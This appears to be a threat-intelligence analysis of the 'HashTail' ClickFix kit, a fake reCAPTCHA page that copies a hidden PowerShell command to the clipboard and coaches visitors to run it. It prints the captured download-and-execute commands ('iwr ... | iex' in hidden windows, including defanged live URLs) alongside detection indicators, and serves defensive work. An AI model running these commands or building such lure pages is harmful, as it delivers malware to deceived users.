HashTail ClickFix kit

The hash is part of the clipboard

HashTail is a fake reCAPTCHA page. Its page shows Google's reCAPTCHA logo, links to Google's privacy and terms pages and loads Font Awesome for the Windows icon. The verification control, spinner and instructions are the lure's own HTML and JavaScript.

The distinctive part appears after the visitor clicks. The script generates a number from 1000 to 9999, writes it beside I am not a robot - reCAPTCHA Verification Hash: and appends the same number to the copied command as a PowerShell comment. The harmless-looking text is the end of a longer clipboard value.

Splunk published the same stageClipboard function and page structure in July 2025, including one of the command forms in our captures (Splunk Threat Research Team).

From checkbox to Windows Run

The page starts as a centred, 300-pixel-wide reCAPTCHA box. A mobile user gets a message to visit on a computer, and the page prevents scrolling. On a desktop, clicking the checkbox shrinks it, starts a spinner after half a second and opens the instruction panel after 900 milliseconds.

The panel tells the visitor to press Win+R, paste with Ctrl+V and press Enter. At the same time, the script creates a temporary textarea, selects the full command, copies it with document.execCommand("copy") and removes the element. Clicking outside the panel resets the checkbox, ready for another attempt and a new four-digit hash.

Two hidden command forms

Both pages use iwr to request a PowerShell script and pipe the response to iex. One runs that line directly in a hidden PowerShell window:

powershell -w hidden -c "iwr '[address]/[script].ps1' | iex"

The other starts a second hidden PowerShell process and passes the same iwr and iex form as its argument. The interface, delays, clipboard functions and hash comment stayed the same while the request address and command wrapper changed.

What we see

Month	New sites
September	1
October	0
November so far	0

Of the 1 site recaptured at least 25 days after their first match, 1 were still serving HashTail (100%).

Checking a page

View the raw HTML and search for:

• stageClipboard, setClipboardCopyData and verification-id in the same script
• I am not a robot - reCAPTCHA Verification Hash: followed by a generated number
• a temporary textarea passed to document.execCommand("copy") and then removed
• the text Press & hold the Windows Key and a disabled verify-verify-button
• the mobileWarningModal message that tells phone visitors to use a computer

The request address changes between copies. The hash wording, clipboard functions and verification-panel element names are the stable parts.

-w hidden -c "Start-Process powershell -ArgumentList '-w hidden -c iwr hxxps://irp[.]cdn-website[.]com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden"

-w hidden -c "iwr 'hxxps://yogasitesdev[.]wpengine[.]com/2/15.ps1' | iex"